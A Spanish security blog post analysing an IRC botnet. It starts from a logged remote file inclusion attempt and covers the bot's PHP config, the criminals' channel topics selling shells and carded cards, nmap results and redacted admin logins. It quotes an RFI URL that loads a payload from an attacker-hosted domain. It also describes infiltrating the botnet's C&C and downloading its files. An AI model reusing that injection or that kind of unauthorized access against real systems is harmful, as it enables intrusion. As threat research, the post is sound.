Analizando una Botnet y buscando a sus administradores.


Hace unos días un conocido me comentó que alguien había intentado acceder a su web y había tratado inyectar una URL, pero la forma de hacerlo no tenía sentido. Me llamó la atención y le dije que me enviase ejemplos de lo que habían tratado de hacer.

Intento de explotación de un LFI:

www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo .txt:

/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Vamos a ver el contenido de ese sospechoso txt que podeis encontrar aqui:

<?php
var $config = array("server"=>"irc.dominio.net", 
                     "port"=>"6667",   
                     "pass"=>"",  
                     "prefix"=>"BoT",  
                     "maxrand"=>"5",  
                     "chan"=>"#channel",  
                     "chan2"=>"#channel", 
                     "key"=>"senhadocanal",     
                     "modes"=>"+p",            
                     "password"=>"terpmak",          
                     "trigger"=>".",  
                     "hostauth"=>"127.0.0.1" 
                     );
?>
A simple vista lo primero que llama la atención son tres cosas, una cabecera bastante descriptiva de lo que hace el script, unas líneas de configuración y un footer con el nombre de una comunidad.



En este punto sabemos que lo que quiere el atacante es controlar el host donde se aloja la web para convertirla en un bot que pueda utilizar en ataques DDoS, que el C&C está alojado en un canal IRC en un servidor controlado por el atacante y que los atacantes probablemente sean indonesios ya que buscando por el nombre de la comunidad en google podemos ver un blog donde publican scripts, aunque tambien puede ser que alguien los haya tomado y reutilizado.

Para salir de dudas profundizamos un poco y nos conectamos al C&C de los atacantes al que accedemos sin restricción. Por los datos que nos devuelve el servidor vemos que hay bastantes usuarios conectados:

* There are 281 users

En este primer intento hemos durado 5 minutos conectados, un bot ha empezado a escanear, ha detectado nuestro nombre y tras probablemente compararlo contra una whitelist nos ha baneado y expulsado del servidor. Dandole unas pocas vueltas me he fijado en que los zombies conectados siguen un patrón de nomenclatura de este estilo UBoTXXXXX o ABoTXXXXX, por lo que el bot que nos ha expulsado tiene que reconocer ese patron y mantenerlos conectados así que nueva ip, nombre acorde a sus normas y BINGO, estamos dentro, preparamos un bot que se mantenga conectado y registramos los logs del IRC para ver que actividades siguen los delincuentes.

Tras 24 horas de registro ya tenemos datos suficientes:

  • Hay dos canales de actividad básica
  • Los delincuentes usan el indonesio como idioma principal
  • Utilizan diferentes escaners de vulnerabilidades que se basan en dorks las 24 horas del dia para ir consiguiendo hosts que puedan comprometer y unir a la botnet.
  • Las vulnerabilidades mas usadas son RFI, SQLi y LFI
Bot de escaneo de vulnerabilidades

Todos los hosts usados para comprometer otros  han sido vulnerados antes, a los que se suben herramientas que les sirven a los atacantes para sus propósitos, unos ejemplos de estas herramientas son: mailerx.php (Herramienta para spam), dumper.php(Herramienta de volcado de DB), nochex_apc.php (Shell PHP) y 3xp.php (Uploader).

Bot escaneando y subiendo herramientas a sitios vulnerables.

Ahora ya conocemos el modus operandi de los administradores de la botnet, pero vamos a ver en que turbios negocios se mueven. Listando los canales del IRC y leyendo los topics de cada uno de ellos veo que hay dos canales bastante poblados que coinciden con los nombres de dos administradores que estan en el canal principal donde el topic es:

 * [-=BKHT=-] * (®) Available : || Shell c99 & r57 | Mailer | cPanel Hack Host | SMTP | Rdp | WHM | Root | SSH || Contact : Nick || Email : email@gmail.com || Card Credit Frees PM xNx or Email email@host.us Send Card Credit Frees No Bacot (®)'

Esto sumando a otros topics donde se incluyen carders, mas scanners, etc...deja una clara visión de a lo que se dedica esta gente.

Por último y sin desviarnos entre todos los otros servidores IRC y webs que nos invitan a entrar desde los topics pasamos nmap al servidor IRC para ver que esconde:

PORT    STATE SERVICE
21/tcp  open  ftp
53/tcp  open  domain
80/tcp  open  http
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https
465/tcp open  smtps
993/tcp open  imaps
995/tcp open  pop3s


Vemos que entre otras cosas hay un servidor web alojado así que probamos a entrar y nos muestra solamente una imagen, así que como eso no nos dice mucho vamos a ver el código fuente:

<a href="http://www.dominio.net" target="_blank"><img width="1250px" src="http://dominio.net/file/jcomers.jpg" border="0"/></td>

¿Serán buenos administradores?









Por lo visto no lo son, así que nos descargamos los archivos y los analizamos en local. Una vez descomprimido service.tgz nos encontramos la siguiente estructura de archivos:

audit@kali:~/Desktop/Botnet/services$ ls -al
total 3952
drwxrwxrwx 7 1002 1003    4096 jun 21 10:53 .
drwxr-xr-x 5 root root    4096 jul 12 11:39 ..
-rwxr-xr-x 1 1002 1003    3862 abr 14 16:46 anoperc
drwxr-xr-x 2 1002 1003    4096 jun 20 19:01 backups
-rw------- 1 1002 1003      55 jun 21 10:53 bot.db
-rw------- 1 1002 1003  229744 jun 21 10:53 chan.db
-rw------- 1 1002 1003      12 may 15 02:42 cs_autolimit.db
-rw-r--r-- 1 1002 1003     886 abr 14 16:46 example.chk
-rw-r--r-- 1 1002 1003   56916 abr 14 16:46 example.conf
-rw------- 1 1002 1003       6 jun 21 10:53 exception.db
-rw------- 1 1002 1003   40664 jun 21 10:53 hosts.db
-rw------- 1 1002 1003       0 jun 21 10:53 hs_request.db
drwx------ 2 1002 1003    4096 jul  5  2011 languages
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listchans
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listnicks
drwxr-xr-x 2 1002 1003    4096 jun 20 19:01 logs
drwxr-xr-x 3 1002 1003    4096 abr 14 16:46 modules
-rwxr-xr-x 1 1002 1003    5926 abr 14 16:46 mydbgen
-rw------- 1 1002 1003     333 jun 21 10:53 news.db
-rw------- 1 1002 1003  210180 jun 21 10:53 nick.db
-rw------- 1 1002 1003      20 jun 21 10:53 oper.db
-rw------- 1 1002 1003       0 jun 21 10:53 os_info.db
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 services
-rwxr-xr-x 1 1002 1003     895 mar  2 08:13 services.chk
-rw-r--r-- 1 1002 1003    6773 may 21 06:33 services.conf
-rw------- 1 1002 1003       5 may 21 06:33 services.pid
-rw-r--r-- 1 1002 1003   12654 abr 14 16:46 tables.sql
drwxr-xr-x 2 1002 1003    4096 abr 14 16:46 tools
-rwxr-xr-x 1 1002 1003   21516 abr 30  2012 xh





El directorio que mas me llama la atención es logs, así que vamos a su interior y vemos lo siguiente:

-rw------- 1 1002 1003 15589 jun 15 18:56 services.log.20130615
-rw------- 1 1002 1003 11762 jun 16 18:46 services.log.20130616
-rw------- 1 1002 1003 10969 jun 17 18:51 services.log.20130617
-rw------- 1 1002 1003 14184 jun 18 18:41 services.log.20130618
-rw------- 1 1002 1003 14016 jun 19 18:56 services.log.20130619
-rw------- 1 1002 1003 23509 jun 20 18:52 services.log.20130620
-rw------- 1 1002 1003  8884 jun 21 10:57 services.log.20130621


¿Que mejor que unos logs frescos para echar un vistazo? Como ya conocemos el nombre de los administradores del servidor IRC filtramos por sus nombres y nos encontramos con las ips desde las que se han conectado los administradores durante esas fechas:

[Jun 15 01:39:27 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1 
[Jun 15 21:10:45 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1

Todas las ips extraidas son de servidores comprometidos, pero algunas de ellas siguen vivas y se repiten a lo largo del log, por lo que entrando a ellos podríamos analizar la IP original del atacante, pero hasta aquí llegamos, es hora de enviar estos datos a las autoridades pertinentes.

Nota: Todos los datos que pueden llevar a identificar el servidor han sido eliminados para evitar entorpecer una posible futura investigacion.

2 comentarios:

Hykeos 22 de agosto de 2013, 11:23  

Muy bueno el post Adrian! ;)

Adrián 7 de septiembre de 2013, 23:32  

@Hykeos ¡Gracias! La verdad no me imaginaba que los malos malosos me lo fuesen a poner tan facil.

Publicar un comentario

ShellShock Labs es un blog dedicado a seguridad y hacking en general, un lugar donde buscamos que la gente participe con sus opiniones.

Síguenos




Posts Populares